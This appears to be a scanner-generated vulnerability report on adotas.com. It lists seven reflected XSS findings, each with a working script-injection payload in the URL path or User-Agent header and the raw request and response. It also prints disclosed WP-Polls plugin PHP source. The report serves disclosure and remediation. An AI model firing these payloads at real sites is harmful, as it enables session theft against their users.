XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, adotas.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/ [REST URL parameter 3] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/hackers-target-facebook-over-data-collection/

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3f38"><script>alert(1)</script>0ba489c9e0 was submitted in the REST URL parameter 3. This input was echoed as c3f38\"><script>alert(1)</script>0ba489c9e0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /2011/08/hackers-target-facebook-over-data-collectionc3f38"><script>alert(1)</script>0ba489c9e0/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: IN_HASH=zzzzzz%3Dyyyyy; joinadotas=joinadotas
Cache-Control: max-age=0

Response (redirected)

HTTP/1.1 404 Not Found
Date: Thu, 11 Aug 2011 20:36:10 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.adotas.com/wp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Thu, 11 Aug 2011 20:36:10 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 72345

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<!-- http://icontact.adota
...[SNIP]...
<a class="su-badge" href="http://www.stumbleupon.com/submit?url=http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collectionc3f38\"><script>alert(1)</script>0ba489c9e0/">
...[SNIP]...

1.2. http://www.adotas.com/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cda0"><script>alert(1)</script>6861c2dcddc was submitted in the REST URL parameter 3. This input was echoed as 4cda0\"><script>alert(1)</script>6861c2dcddc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting4cda0"><script>alert(1)</script>6861c2dcddc/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/
X-Moz: prefetch
Cookie: joinadotas=joinadotas; __utma=47048311.676888594.1313094455.1313094455.1313094455.1; __utmb=47048311; __utmc=47048311; __utmz=47048311.1313094470.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response (redirected)

HTTP/1.1 404 Not Found
Date: Thu, 11 Aug 2011 20:38:35 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.adotas.com/wp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Thu, 11 Aug 2011 20:38:36 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 72435

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<!-- http://icontact.adota
...[SNIP]...
<a class="su-badge" href="http://www.stumbleupon.com/submit?url=http://www.adotas.com/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting4cda0\"><script>alert(1)</script>6861c2dcddc/">
...[SNIP]...

1.3. http://www.adotas.com/wp/wp-content/plugins/polls/polls-css.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/wp/wp-content/plugins/polls/polls-css.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e626"><script>alert(1)</script>bfdba6a5f8 was submitted in the REST URL parameter 4. This input was echoed as 1e626\"><script>alert(1)</script>bfdba6a5f8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /wp/wp-content/plugins/polls1e626"><script>alert(1)</script>bfdba6a5f8/polls-css.css HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/
Cookie: joinadotas=joinadotas

Response (redirected)

HTTP/1.1 404 Not Found
Date: Thu, 11 Aug 2011 20:32:34 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.adotas.com/wp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Thu, 11 Aug 2011 20:32:34 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 72220

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<!-- http://icontact.adota
...[SNIP]...
<a class="su-badge" href="http://www.stumbleupon.com/submit?url=http://www.adotas.com/wp/wp-content/plugins/polls1e626\"><script>alert(1)</script>bfdba6a5f8/">
...[SNIP]...

1.4. http://www.adotas.com/wp/wp-content/plugins/polls/polls-js.php [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/wp/wp-content/plugins/polls/polls-js.php

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a61c5"><script>alert(1)</script>b89093d6169 was submitted in the REST URL parameter 4. This input was echoed as a61c5\"><script>alert(1)</script>b89093d6169 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /wp/wp-content/plugins/pollsa61c5"><script>alert(1)</script>b89093d6169/polls-js.php?ver=2.20 HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/
Cookie: joinadotas=joinadotas

Response (redirected)

HTTP/1.1 404 Not Found
Date: Thu, 11 Aug 2011 20:32:42 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.adotas.com/wp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Thu, 11 Aug 2011 20:32:42 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 72225

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<!-- http://icontact.adota
...[SNIP]...
<a class="su-badge" href="http://www.stumbleupon.com/submit?url=http://www.adotas.com/wp/wp-content/plugins/pollsa61c5\"><script>alert(1)</script>b89093d6169/">
...[SNIP]...

1.5. http://www.adotas.com/wp/wp-includes/js/tw-sack.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/wp/wp-includes/js/tw-sack.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c8e9"><script>alert(1)</script>893f64291b0 was submitted in the REST URL parameter 3. This input was echoed as 5c8e9\"><script>alert(1)</script>893f64291b0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /wp/wp-includes/js5c8e9"><script>alert(1)</script>893f64291b0/tw-sack.js?ver=1.6.1 HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/
Cookie: joinadotas=joinadotas

Response (redirected)

HTTP/1.1 404 Not Found
Date: Thu, 11 Aug 2011 20:32:54 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.adotas.com/wp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Thu, 11 Aug 2011 20:32:55 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 72175

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<!-- http://icontact.adota
...[SNIP]...
<a class="su-badge" href="http://www.stumbleupon.com/submit?url=http://www.adotas.com/wp/wp-includes/js5c8e9\"><script>alert(1)</script>893f64291b0/">
...[SNIP]...

1.6. http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/ [User-Agent HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/hackers-target-facebook-over-data-collection/

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 30e4c<script>alert(1)</script>537c2fa769f was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /2011/08/hackers-target-facebook-over-data-collection/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.1330e4c<script>alert(1)</script>537c2fa769f
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: IN_HASH=zzzzzz%3Dyyyyy; joinadotas=joinadotas
Cache-Control: max-age=0

Response (redirected)

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 20:35:30 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.adotas.com/wp/xmlrpc.php
Link: <http://www.adotas.com/?p=26825>; rel=shortlink
Cache-Control: max-age=7200
Expires: Thu, 11 Aug 2011 22:35:30 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 84304

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<!-- http://icontact.adota
...[SNIP]...
ges/default/pollbg.gif');
border: 1px solid #c8c8c8;
}
a.ViewResult{position:relative;left:105px;top:-3px;}/*Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.1330e4c<script>alert(1)</script>537c2fa769f*/
.wp-polls-loading {
display:none;
}
</style>
...[SNIP]...

1.7. http://www.adotas.com/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ [User-Agent HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 4fc73<script>alert(1)</script>ae8202403eb was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.134fc73<script>alert(1)</script>ae8202403eb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/
X-Moz: prefetch
Cookie: joinadotas=joinadotas; __utma=47048311.676888594.1313094455.1313094455.1313094455.1; __utmb=47048311; __utmc=47048311; __utmz=47048311.1313094470.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response (redirected)

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 20:37:57 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.adotas.com/wp/xmlrpc.php
Link: <http://www.adotas.com/?p=26862>; rel=shortlink
Cache-Control: max-age=7200
Expires: Thu, 11 Aug 2011 22:37:57 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 84672

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<!-- http://icontact.adota
...[SNIP]...
ges/default/pollbg.gif');
border: 1px solid #c8c8c8;
}
a.ViewResult{position:relative;left:105px;top:-3px;}/*Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.134fc73<script>alert(1)</script>ae8202403eb*/
.wp-polls-loading {
display:none;
}
</style>
...[SNIP]...

2. Source code disclosure previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.adotas.com
Path:	/wp/wp-content/plugins/polls/polls-css.css

Issue detail

The application appears to disclose some server-side source code written in PHP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /wp/wp-content/plugins/polls/polls-css.css HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/
Cookie: joinadotas=joinadotas

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 20:29:39 GMT
Server: Apache
Last-Modified: Sun, 08 May 2011 09:02:57 GMT
ETag: "c1205f-52c1-4a2bffd2ed240"
Accept-Ranges: bytes
Content-Length: 21185
Cache-Control: max-age=2592000
Expires: Sat, 10 Sep 2011 20:29:39 GMT
Connection: close
Content-Type: text/css

<?php
/*
+----------------------------------------------------------------+
|                                                                                            |
|    WordPress 2.1 Plugin: WP-Polls 2.20                                        |
|    Copyright (c) 2007 Lester "GaMerZ" Chan                                    |
|                                                                                            |
|    File Written By:                                                                    |
|    - Lester "GaMerZ" Chan                                                            |
|    - http://www.lesterchan.net                                                    |
|                                                                                            |
|    File Information:                                                                    |
|    - Configure Poll Options                                                            |
|    - wp-content/plugins/polls/polls-options.php                                |
|                                                                                            |
+----------------------------------------------------------------+
*/

### Check Whether User Can Manage Polls
if(!current_user_can('manage_polls')) {
   die('Access Denied');
}

### Variables Variables Variables
$base_name = plugin_basename('polls/polls-options.php');
$base_page = 'admin.php?page='.$base_name;
$id = intval($_GET['id']);

### If Form Is Submitted
if($_POST['Submit']) {
   $poll_bar_style = strip_tags(trim($_POST['poll_bar_style']));
   $poll_bar_background = strip_tags(trim($_POST['poll_bar_bg']));
   $poll_bar_border = strip_tags(trim($_POST['poll_bar_border']));
   $poll_bar_height = intval($_POST['poll_bar_height']);
   $poll_bar = array('style' => $poll_bar_style, 'background' => $poll_bar_background, 'border' => $poll_bar_border, 'height' => $poll_bar_height);
   $poll_ajax_style = array('loading' => intval($_POST['poll_ajax_style_loading']), 'fading' => intval($_POST['poll_ajax_style_fading']));
   $poll_ans_sortby = strip_tags(trim($_POST['poll_ans_sortby']));
   $poll_ans_sortorder = strip_tags(trim($_POST['poll_ans_sortorder']));
   $poll_ans_result_sortby = strip_tags(trim($_POST['poll_ans_result_sortby']));
   $poll_ans_result_sortorder = strip_tags(trim($_POST['poll_ans_result_sortorder']));
   $poll_archive_perpage = intval($_POST['poll_archive_perpage']);
   $poll_archive_displaypoll = intval($_POST['poll_archive_displaypoll']);
   $poll_archive_url = strip_tags(trim($_POST['poll_archive_url']));
   $poll_archive_show = intval($_POST['poll_archive_show']);
   $poll_currentpoll = intval($_POST['poll_currentpoll']);
   $poll_close = intval($_POST['poll_close']);
   $poll_logging_method = intval($_POST['poll_logging_method']);
   $poll_allowtovote = intval($_POST['poll_allowtovote']);
   $update_poll_queries = array();
   $update_poll_text = array();
   $update_poll_queries[] = update_option('poll_bar', $poll_bar);
   $update_poll_queries[] = update_option('poll_ajax_style', $poll_ajax_style);
   $update_poll_queries[] = update_option('poll_ans_sortby', $poll_ans_sortby);
   $update_poll_queries[] = update_option('poll_ans_sortorder', $poll_ans_sortorder);
   $update_poll_queries[] = update_option('poll_ans_result_sortby', $poll_ans_result_sortby);
   $update_poll_queries[] = update_option('poll_ans_result_sortorder', $poll_ans_result_sortorder);
   $update_poll_queries[] = update_option('poll_archive_perpage', $poll_archive_perpage);
   $update_poll_queries[] = update_option('poll_archive_displaypoll', $poll_archive_displaypoll);
   $update_poll_queries[] = update_option('poll_archive_url', $poll_archive_url);
   $update_poll_queries[] = update_option('poll_archive_show', $poll_archive_show);
   $update_poll_queries[] = update_option('poll_currentpoll', $poll_currentpoll);
   $update_poll_queries[] = update_option('poll_close', $poll_close);
   $update_poll_queries[] = update_option('poll_logging_method', $poll_logging_method);
   $update_poll_queries[] = update_option('poll_allowtovote', $poll_allowtovote);
   $update_poll_text[] = __('Poll Bar Style', 'wp-polls');
   $update_poll_text[] = __('Poll AJAX Style', 'wp-polls');
   $update_poll_text[] = __('Sort Poll Answers By Option', 'wp-polls');
   $update_poll_text[] = __('Sort Order Of Poll Answers Option', 'wp-polls');
   $update_poll_text[] = __('Sort Poll Results By Option', 'wp-polls');
   $update_poll_text[] = __('Sort Order Of Poll Results Option', 'wp-polls');
   $update_poll_text[] = __('Number Of Polls Per Page To Display In Poll Archive Option', 'wp-polls');
   $update_poll_text[] = __('Type Of Polls To Display In Poll Archive Option', 'wp-polls');
   $update_poll_text[] = __('Poll Archive URL Option', 'wp-polls');
   $update_poll_text[] = __('Show Poll Achive Link Option', 'wp-polls');
   $update_poll_text[] = __('Current Active Poll Option', 'wp-polls');
   $update_poll_text[] = __('Poll Close Option', 'wp-polls');
   $update_poll_text[] = __('Logging Method', 'wp-polls');
   $update_poll_text[] = __('Allow To Vote Option', 'wp-polls');
   $i=0;
   $text = '';
   foreach($update_poll_queries as $update_poll_query) {
       if($update_poll_query) {
           $text .= '<font color="green">'.$update_poll_text[$i].' '.__('Updated', 'wp-polls').'</font><br />';
       }
       $i++;
   }
   if(empty($text)) {
       $text = '<font color="red">'.__('No Poll Option Updated', 'wp-polls').'</font>';
   }
   wp_clear_scheduled_hook('polls_cron');
   if (!wp_next_scheduled('polls_cron')) {
       wp_schedule_event(time(), 'daily', 'polls_cron');
   }
}
?>
<script type="text/javascript">
...[SNIP]...
       if(pollbar_style == 'use_css') {
               document.getElementById('wp-polls-pollbar').style.backgroundImage = "";
           } else {
               document.getElementById('wp-polls-pollbar').style.backgroundImage = "url('<?php echo get_option('siteurl'); ?>/wp-content/plugins/polls/images/" + pollbar_style + "/pollbg.gif')";
           }
       }
       document.getElementById('wp-polls-pollbar').style.backgroundColor = pollbar_background;
       document.getElementById('wp-po
...[SNIP]...
</script>
<?php if(!empty($text)) { echo '<div id="message" class="updated fade"><p>'.$text.'</p></div>'; } ?>
<form id="poll_options_form" method="post" action="<?php echo $_SERVER['REQUEST_URI']; ?>">
...[SNIP]...
<h2><?php _e('Poll Options', 'wp-polls'); ?></h2>
...[SNIP]...
<legend><?php _e('Poll Bar Style', 'wp-polls'); ?></legend>
...[SNIP]...
<th align="left" width="20%"><?php _e('Poll Bar Style', 'wp-polls'); ?></th>
                   <td align="left" colspan="2">
                       <?php
                           $pollbar = get_option('poll_bar');
                           $pollbar_url = get_option('siteurl').'/wp-content/plugins/polls/images';
                           $pollbar_path = ABSPATH.'/wp-content/plugins/polls/images';
                           if($handle = @opendir($pollbar_path)) {
                               while (false !== ($filename = readdir($handle))) {
                                   if ($filename != '.' && $filename != '..') {
                                       if(is_dir($pollbar_path.'/'.$filename)) {
                                           $pollbar_info = getimagesize($pollbar_path.'/'.$filename.'/pollbg.gif');
                                           if($pollbar['style'] == $filename) {
                                               echo '<input type="radio" name="poll_bar_style" value="'.$filename.'" checked="checked" onblur="set_pollbar_height('.$pollbar_info[1].'); update_pollbar(\'style\');" />';
                                           } else {
                                               echo '<input type="radio" name="poll_bar_style" value="'.$filename.'" onblur="set_pollbar_height('.$pollbar_info[1].'); update_pollbar(\'style\');" />';
                                           }
                                           echo '   ';
                                           echo '<img src="'.$pollbar_url.'/'.$filename.'/pollbg.gif" height="'.$pollbar_info[1].'" width="100" alt="pollbg.gif" />';
                                           echo '   ('.$filename.')';
                                           echo '<br /><br />'."\n";
                                       }
                                   }
                               }
                               closedir($handle);
                           }
                       ?>
                       <input type="radio" name="poll_bar_style" value="use_css"<?php checked('use_css', $pollbar['style']); ?> onblur="update_pollbar('style');" /> <?php _e('Use CSS Style', 'wp-polls'); ?>
                   </td>
...[SNIP]...
<th align="left" width="20%"><?php _e('Poll Bar Background', 'wp-polls'); ?></th>
...[SNIP]...
<input type="text" id="poll_bar_bg" name="poll_bar_bg" value="<?php echo $pollbar['background']; ?>" size="6" maxlength="6" onblur="update_pollbar('background');" />
...[SNIP]...
<div id="wp-polls-pollbar-bg" style="background-color: #<?php echo $pollbar['background']; ?>;">
...[SNIP]...
<th align="left" width="20%"><?php _e('Poll Bar Border', 'wp-polls'); ?></th>
...[SNIP]...
<input type="text" id="poll_bar_border" name="poll_bar_border" value="<?php echo $pollbar['border']; ?>" size="6" maxlength="6" onblur="update_pollbar('border');" />
...[SNIP]...
<div id="wp-polls-pollbar-border" style="background-color: #<?php echo $pollbar['border']; ?>;">
...[SNIP]...
<th align="left" width="20%"><?php _e('Poll Bar Height', 'wp-polls'); ?></th>
...[SNIP]...
<input type="text" id="poll_bar_height" name="poll_bar_height" value="<?php echo $pollbar['height']; ?>" size="2" maxlength="2" onblur="update_pollbar('height');" />
...[SNIP]...
<th align="left" width="20%"><?php _e('Your poll bar will look like this', 'wp-polls'); ?></th>
                   <td align="left" >
                       <?php
                           if($pollbar['style'] == 'use_css') {
                               echo '<div id="wp-polls-pollbar" style="width: 100px; height: '.$pollbar['height'].'px; background-color: #'.$pollbar['background'].'; border: 1px solid #'.$pollbar['border'].'"></div>'."\n";
                           } else {
                               echo '<div id="wp-polls-pollbar" style="width: 100px; height: '.$pollbar['height'].'px; background-color: #'.$pollbar['background'].'; border: 1px solid #'.$pollbar['border'].'; background-image: url(\''.get_option('siteurl').'/wp-content/plugins/polls/images/'.$pollbar['style'].'/pollbg.gif\');"></div>'."\n";
                           }
                       ?>
                   </td>
...[SNIP]...
</fieldset>
       <?php $poll_ajax_style = get_option('poll_ajax_style'); ?>
       <fieldset class="options">
...[SNIP]...
<legend><?php _e('Polls AJAX Style', 'wp-polls'); ?></legend>
...[SNIP]...
<th align="left" width="30%"><?php _e('Show Loading Image With Text', 'wp-polls'); ?></th>
...[SNIP]...
<option value="0"<?php selected('0', $poll_ajax_style['loading']); ?>><?php _e('No', 'wp-polls'); ?></option>
                           <option value="1"<?php selected('1', $poll_ajax_style['loading']); ?>><?php _e('Yes', 'wp-polls'); ?></option>
...[SNIP]...
<th align="left" width="30%"><?php _e('Show Fading In And Fading Out Of Poll', 'wp-polls'); ?></th>
...[SNIP]...
